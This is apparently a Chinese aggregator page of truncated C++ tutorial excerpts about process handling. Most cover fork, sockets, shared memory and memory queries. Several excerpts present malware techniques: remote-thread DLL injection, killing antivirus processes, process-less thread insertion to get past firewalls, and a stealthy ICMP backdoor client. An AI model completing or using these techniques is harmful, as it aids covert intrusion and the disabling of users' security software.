【c++获取当前进程所在位置】教程文章相关的互联网学习教程文章

Linux c++(socket网络通信 & 多进程服务器)【代码】

#include <stdio.h> #include <unistd.h>#include <stdlib.h>#include <sys/types.h>#include <arpa/inet.h>#include <string.h>#include <ctype.h>#include <signal.h>#include <sys/wait.h>#include <errno.h>void sigCatchFun(int num){ pid_t wpid ;while((wpid= waitpid(-1,NULL,WNOHANG))>0){printf("sig child OK\n");}} int main(int argc,c...

linux c++(进程相关的函数 & 第一篇 fork)【代码】

进程相关的函数 创建一个新的线程 pid_t fork(void);* 失败 -1* 成功,两次返回父进程返回,子进程的id子进程返回0 pid_t getpid(void); //获得当前进程的 pid_t getppid(void); //获得当前进程父进程的id#include <stdio.h> #include <unistd.h> #include <stdlib.h>int main() {printf("Begin ....\n");pid_t pid = fork();if(pid < 0){ perror("fork err");return -1; }else if(pid == 0){ //子进程printf("I am child,pid...

vc++实现内核级进程保护

vc++实现内核级进程保护 保护核心代码 #include "ntddk.h"#define NT_DEVICE_NAME L"//Device//ProtectProcess"#define DOS_DEVICE_NAME L"//DosDevices//ProtectProcess"#define IOCTL_PROTECT_CONTROL CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_BUFFERED, FILE_ANY_ACCESS)NTSTATUS DispatchDeviceControl(IN PDEVICE_OBJECT DeviceObject,IN PIRP Irp);VOID OnUnload(IN PDRIVER_OBJECT DriverObject);#pra...

vc++进程注入钩子DLL通用模块开源

vc++进程注入钩子DLL通用模块开源 #include "stdafx.h"#include#define DEF_BUF_SIZE 1024// 用于存储注入模块DLL的路径全名char szDllPath[DEF_BUF_SIZE] = {0} ;// 使用远程线程向指定ID的进程注入模块BOOL InjectModuleToProcessById ( DWORD dwProcessId ){ if ( dwProcessId == 0 ) return FALSE ; // 打开进程 HANDLE hProcess = OpenProcess ( PROCESS_ALL_ACCESS, FALSE, dwProcessId ) ; if ( hProcess == NULL ) ...

VC++结束进程,干掉杀毒软件或者其他令人不爽的进程

VC++结束进程,干掉杀毒软件或者其他令人不爽的进程 void pslist(void){HANDLE hProcessSnap = NULL;PROCESSENTRY32 pe32= {0};hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);if (hProcessSnap == (HANDLE)-1){printf("/nCreateToolhelp32Snapshot() failed:%d",GetLastError());return ;}pe32.dwSize = sizeof(PROCESSENTRY32);printf("/nProcessName     ProcessID");if (Process32First(hProcessSna...

VC++实现进程冻结与解冻

VC++实现进程冻结与解冻 冻结进程#includeint main(int argc,char *argv[]){ PROCESSENTRY32 pe32; pe32.dwSize=sizeof(pe32); unsigned long Pid; HANDLE hProcessSnap=::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0); if(hProcessSnap==INVALID_HANDLE_VALUE) { printf("CreateToolhelp32Snapshot调用失败!"); return -1; } BOOL b=::Process32First(hProcessSnap,&pe32); while(b) { if(!strcmp(pe32.szExeFile,arg...

vc++无进程式线程插入穿墙技术实现

vc++无进程式线程插入穿墙技术实现 加载模块核心源码#include "Loader.h"BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved){ hinst = hinstDLL; switch(fdwReason) { case DLL_PROCESS_ATTACH: //MessageBox(NULL,"DLL_PROCESS_ATTACH","",MB_OK); //SetHook(); break; case DLL_THREAD_ATTACH: //MessageBox(NULL,"DLL_THREAD_ATTACH","",MB_OK); break; case DLL_THREAD_DETACH: //M...

基于VisualC++2010开发Windows7杀毒应用程序范例(2)---检测并遍历所有进程的线程信息【图】

? ?基于VisualC++2010开发Windows7杀毒应用程序范例(2)---检测并遍历所有进程的线程信息 ? ?作为一个杀毒软件,必须扫描所有的进程的每一个线程,才能分析出病毒的行为!下面我们演示下,基于Visual C++2010开发基于Windows7杀毒应用程序范例,检测所有的进程线程信息打开VS2010新建一个CLR工程, 插入下列代码,详情见注释

vc++实现无进程无DLL无硬盘文件无启动项的ICMP后门后门程序

vc++实现无进程无DLL无硬盘文件无启动项的ICMP后门后门程序 客户端 #include#pragma comment(lib,"ws2_32.lib")char SendMsg[256];/* The IP header */typedef struct iphdr {unsigned int h_len:4; //4位首部长度unsigned int version:4; //IP版本号,4表示IPV4unsigned char tos; //8位服务类型TOSunsigned short total_len; //16位总长度(字节)unsigned short ident; //16位标识unsigned short frag_and_flags; //3位标志...

C++得到当前进程所占用的内存

使用SDK的PSAPI (Process Status Helper)中的BOOL GetProcessMemoryInfo( HANDLE Process, PPROCESS_MEMORY_COUNTERS ppsmemCounters, DWORD cb);typedef struct _PROCESS_MEMORY_COUNTERS { DWORD cb; DWORD PageFaultCount; SIZE_T PeakWorkingSetSize; //峰值内存使用 SIZE_T WorkingSetSize; //内存使用 SIZE_T QuotaPeakPagedPoolUsage; SIZE_T QuotaPagedPoolUsage; SIZE_T QuotaPeakNonPagedPoolUsage; SIZE_T Q...

进程锁 读写文件的小例子 C++代码【代码】

代码 #include <unistd.h> #include <sys/types.h> #include <sys/ipc.h> #include <sys/shm.h> #include <cassert> #include <pthread.h> #include <cstdio> #include <cstdlib> #include <fstream> #include <iostream> #include <sstream> #include <cstring> #include <sys/wait.h>/*** 返回一片共享内存标识符,用于后续获取该共享内存,以及销毁该共享内存*/ namespace hsm{namespace hal{class mutex_function{public:mute...

C++ 查看当前占用该文件的进程

参考: https://blog.csdn.net/cwjjamk/article/details/9857013 https://www.shuzhiduo.com/A/kjdwDO6EzN/ https://www.cnblogs.com/iBinary/p/11362823.html https://stackoverflow.com/questions/1219951/win32api-how-to-get-file-name-of-process-from-process-handle https://blog.csdn.net/proglovercn/article/details/42734379 https://bbs.pediy.com/thread-144945-1.htm https://www.cnblogs.com/Philip-Tell-Truth/p/6...

C++通过共享内存实现进程间通信(windows平台)【代码】【图】

前言:我们知道windows os上有很多的api,编程语言对os进行操作,无论什么语言,最终都是通过windows api 的。 在windows编程中,有个概念是句柄,句柄指向资源(一切可以利用的物理的逻辑的资源),其中文件操作,可以将文件映射到内存,此处的文件是广义的文件,可以指内存对象,邮件槽等。 在windows中创建一个指向文件的虚拟内存,然后多个进程创建各个进程对这块内存的映射,通过访问各个进程的映射内存对这块虚拟内存进行访问...

VC++.进程路径2【代码】

CString strCurProcessPath; HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, 0, GetCurrentProcessId()); if (hProcess) {TCHAR wsz[MAX_PATH] = { 0 };GetModuleFileNameEx(hProcess, 0, wsz, (MAX_PATH - 1) * sizeof(TCHAR));strCurProcessPath = wsz;CloseHandle(hProcess); }

c++ 创建进程设置窗口标题模拟键盘鼠标例子【代码】

很简单// 鼠标键盘.cpp : Defines the entry point for the console application. //#include "stdafx.h" #include <windows.h>void creatqq() { STARTUPINFO si = {0}; PROCESS_INFORMATION pi; si.cb = sizeof(si); TCHAR qqname[]=TEXT("C:/Users/CSXJJ/Desktop/2.exe"); BOOL res = CreateProcess( qqname, NULL, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NUL...